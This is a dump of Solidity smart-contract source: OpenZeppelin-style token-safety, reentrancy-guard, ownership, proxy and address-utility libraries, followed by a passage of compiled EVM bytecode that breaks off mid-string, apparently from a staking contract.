{IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init(address _ownerAddress) internal initializer { __Context_init_unchained(); __Ownable_init_unchained(_ownerAddress); } function __Ownable_init_unchained(address _ownerAddress) internal initializer { _owner = _ownerAddress; emit OwnershipTransferred(address(0), _ownerAddress); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view virtual returns (address) { return _pendingOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function safeTransferOwnership(address newOwner, bool safely) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); if (safely) { _pendingOwner = newOwner; } else { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; _pendingOwner = address(0); } } function safeAcceptOwnership() public virtual { require(_msgSender() == _pendingOwner, "acceptOwnership: Call must come from pendingOwner."); emit OwnershipTransferred(_owner, _pendingOwner); _owner = _pendingOwner; } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80637b1837de11610104578063cefbfa36116100a2578063eb4af04511610071578063eb4af045146108ab578063ef706622146108c8578063f188768414610900578063f339fc3114610908576101cf565b8063cefbfa361461084b578063d56b288914610893578063e1004c7e1461089b578063e30c3978146108a3576101cf565b80638da5cb5b116100de5780638da5cb5b146107cb578063a1c9b213146107d3578063bcee7612146107f0578063c3453153146107f8576101cf565b80637b1837de146105d1578063861321bb146105fd5780638ac1bd0a146107c3576101cf565b806353424674116101715780636177fd181161014b5780636177fd18146103d85780636fd0d888146103fe578063715018a61461042457806377994b051461042c576101cf565b8063534246741461039a578063567e98f9146103c85780635a7f7ff5146103d0576101cf565b806331cfc3e1116101ad57806331cfc3e1146103315780633ad0e5e21461035257806345ef79af1461037657806347535d7b1461037e576101cf565b806309dddcf0146101d4578063166ad6ca146102ba57806316934fc4146102d4575b600080fd5b6101dc61092e565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561022457818101518382015260200161020c565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561026357818101518382015260200161024b565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156102a257818101518382015260200161028a565b50505050905001965050505050505060405180910390f35b6102c2610aee565b60408051918252519081900360200190f35b6102fa600480360360208110156102ea57600080fd5b50356001600160a01b0316610af4565b60408051961515875260ff9095166020870152858501939093526060850191909152608084015260a0830152519081900360c00190f35b6103506004803603602081101561034757600080fd5b50351515610b2b565b005b61035a610bf3565b604080516001600160a01b039092168252519081900360200190f35b6102c2610c07565b610386610c0d565b604080519115158252519081900360200190f35b610350600480360360408110156103b057600080fd5b506001600160a01b0381351690602001351515610c29565b6102c2610d4a565b610350610d50565b610386600480360360208110156103ee57600080fd5b50356001600160a01b0316610dfa565b6103506004803603602081101561041457600080fd5b50356001600160a01b0316610e4f565b610350610ed3565b6103506004803603606081101561044257600080fd5b810190602081018135600160201b81111561045c57600080fd5b82018360208201111561046e57600080fd5b803590602001918460208302840111600160201b8311171561048f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104de57600080fd5b8201836020820111156104f057600080fd5b803590602001918460208302840111600160201b8311171561051157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561056057600080fd5b82018360208201111561057257600080fd5b803590602001918460208302840111600160201b8311171561059357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6d945050505050565b610350600480360360408110156105e757600080fd5b506001600160a01b038135169060200135610fdf565b610350600480360360c081101561061357600080fd5b6001600160a01b0382358116926020810135821692604082013590921691810190608081016060820135600160201b81111561064e57600080fd5b82018360208201111561066057600080fd5b803590602001918460208302840111600160201b8311171561068157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156106d057600080fd5b8201836020820111156106e257600080fd5b803590602001918460208302840111600160201b8311171561070357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561075257600080fd5b82018360208201111561076457600080fd5b803590602001918460208302840111600160201b8311171561078557600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061116d945050505050565b6103866112f3565b61035a6112fc565b610350600480360360208110156107e957600080fd5b503561130b565b610350611412565b61081e6004803603602081101561080e57600080fd5b50356001600160a01b03166116c2565b6040805195865260ff90941660208601528484019290925260608401526080830152519081900360a00190f35b6108686004803603602081101561086157600080fd5b503561179e565b60408051941515855261ffff9093166020850152838301919091526060830152519081900360800190f35b6103506117e0565b61035a611975565b61035a611984565b610350600480360360208110156108c157600080fd5b5035611993565b610350600480360360808110156108de57600080fd5b5060ff81351690602081013515159061ffff6040820135169060600135611a4a565b6102c2611c0a565b6103506004803603604081101561091e57600080fd5b508035906020013560ff16611c10565b606080606060978054905067ffffffffffffffff8111801561094f57600080fd5b50604051908082528060200260200182016040528015610979578160200160208202803683370190505b5060975490935067ffffffffffffffff8111801561099657600080fd5b506040519080825280602002602001820160405280156109c0578160200160208202803683370190505b5060975490925067ffffffffffffffff811180156109dd57600080fd5b50604051908082528060200260200182016040528015610a07578160200160208202803683370190505b50905060005b609754811015610ae85760978181548110610a2457fe5b6000918252602090912060039091020154845160ff90911690859083908110610a4957fe5b60200260200101901515908115158152505060978181548110610a6857fe5b906000526020600020906003020160000160019054906101000a900461ffff16838281518110610a9457fe5b602002602001019061ffff16908161ffff168152505060978181548110610ab757fe5b906000526020600020906003020160010154828281518110610ad557fe5b6020908102919091010152600101610a0d565b50909192565b609a5481565b6098602052600090815260409020805460018201546002830154600384015460049094015460ff8085169561010090950416939086565b6000610b35611ff2565b9050806001600160a01b0316610b496112fc565b6001600160a01b03161480610b6b5750609e546001600160a01b038281169116145b610ba65760405162461bcd60e51b8152600401808060200182810382526026815260200180612c196026913960400191505060405180910390fd5b609d805460ff191683151517908190556040805160ff90921615158252517fa0de32eae3f0d0e64ac7dbaf4cb273b018d93f236e6f91d417dbeabb8acab3ab916020908290030190a15050565b609d5461010090046001600160a01b031681565b609b5481565b6000609b5460995410610c21576000610c24565b60015b905090565b610c31611ff2565b6001600160a01b0316610c426112fc565b6001600160a01b031614610c8b576040805162461bcd60e51b81526020600482018190526024820152600080516020612cc0833981519152604482015290519081900360640190fd5b6001600160a01b038216610cd05760405162461bcd60e51b8152600401808060200182810382526026815260200180612bcd6026913960400191505060405180910390fd5b8015610cf657603480546001600160a01b0319166001600160a01b038416179055610d46565b6033546040516001600160a01b03808516921690600080516020612ce083398151915290600090a3603380546001600160a01b0384166001600160a01b0319918216179091556034805490911690555b5050565b60995481565b6034546001600160a01b0316610d64611ff2565b6001600160a01b031614610da95760405162461bcd60e51b8152600401808060200182810382526032815260200180612c3f6032913960400191505060405180910390fd5b6034546033546040516001600160a01b039283169290911690600080516020612ce083398151915290600090a3603454603380546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b03811660009081526098602052604081205460ff168015610e3b57506001600160a01b038216600090815260986020526040902060020154155b610e46576000610e49565b60015b92915050565b610e57611ff2565b6001600160a01b0316610e686112fc565b6001600160a01b031614610eb1576040805162461bcd60e51b81526020600482018190526024820152600080516020612cc0833981519152604482015290519081900360640190fd5b609e80546001600160a01b0319166001600160a01b0392909216919091179055565b610edb611ff2565b6001600160a01b0316610eec6112fc565b6001600160a01b031614610f35576040805162461bcd60e51b81526020600482018190526024820152600080516020612cc0833981519152604482015290519081900360640190fd5b6033546040516000916001600160a01b031690600080516020612ce0833981519152908390a3603380546001600160a01b0319169055565b610f75611ff2565b6001600160a01b0316610f866112fc565b6001600160a01b031614610fcf576040805162461bcd60e51b81526020600482018190526024820152600080516020612cc0833981519152604482015290519081900360640190fd5b610fda838383611ff6565b505050565b6001600160a01b03821661102d576040805162461bcd60e51b815260206004820152601060248201526f17d99c9bdb481a5cc81a5b9d985b1a5960821b604482015290519081900360640190fd5b80600010611077576040805162461bcd60e51b815260206004820152601260248201527117d85b5bdd5b9d081a5cc81a5b9d985b1a5960721b604482015290519081900360640190fd5b609d60019054906101000a90046001600160a01b03166001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156110d957600080fd5b505afa1580156110ed573d6000803e3d6000fd5b505050506040513d602081101561110357600080fd5b5051811115611150576040805162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015290519081900360640190fd5b609d54610d469061010090046001600160a01b0316833084612273565b600054610100900460ff168061118657506111866122cd565b80611194575060005460ff16155b6111cf5760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff161580156111fa576000805460ff1961ff0019909116610100171660011790555b6001600160a01b038716611255576040805162461bcd60e51b815260206004820152601860248201527f4f776e6572206164647265737320697320696e76616c69640000000000000000604482015290519081900360640190fd5b6a0211654585005212800000609b55670de0b6b3a7640000609c55609d805460ff19166001179055611286876122de565b61128e612391565b609d8054610100600160a81b0319166101006001600160a01b038981169190910291909117909155609e80546001600160a01b0319169187169190911790556112d8848484611ff6565b80156112ea576000805461ff00191690555b50505050505050565b609d5460ff1681565b6033546001600160a01b031690565b6000611315611ff2565b9050806001600160a01b03166113296112fc565b6001600160a01b0316148061134b5750609e546001600160a01b038281169116145b6113865760405162461bcd60e51b8152600401808060200182810382526026815260200180612c196026913960400191505060405180910390fd5b8160995411156113d6576040805162461bcd60e51b8152602060048201526016602482015275151a19481b1a5b5a5d081a5cc81d1bdbc81cdb585b1b60521b604482015290519081900360640190fd5b609b8290556040805183815290517fd9a9a09fc16faafb71aa791b06aaf1f32e3ae9078035dc57c6cac185142685cd9181900360200190a15050565b6002606554141561146a576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026065556000611479611ff2565b905061148481610dfa565b6114c2576040805162461bcd60e51b815260206004820152600a602482015269139bdd081cdd185ad95960b21b604482015290519081900360640190fd5b6001600160a01b03811660009081526098602052604081208054600382015460019092015461010090910460ff16929081906114ff90848661243a565b609d54919350915060ff1680611513575081155b611553576040805162461bcd60e51b815260206004820152600c60248201526b131bd8dad959081cdd1a5b1b60a21b604482015290519081900360640190fd5b6001600160a01b0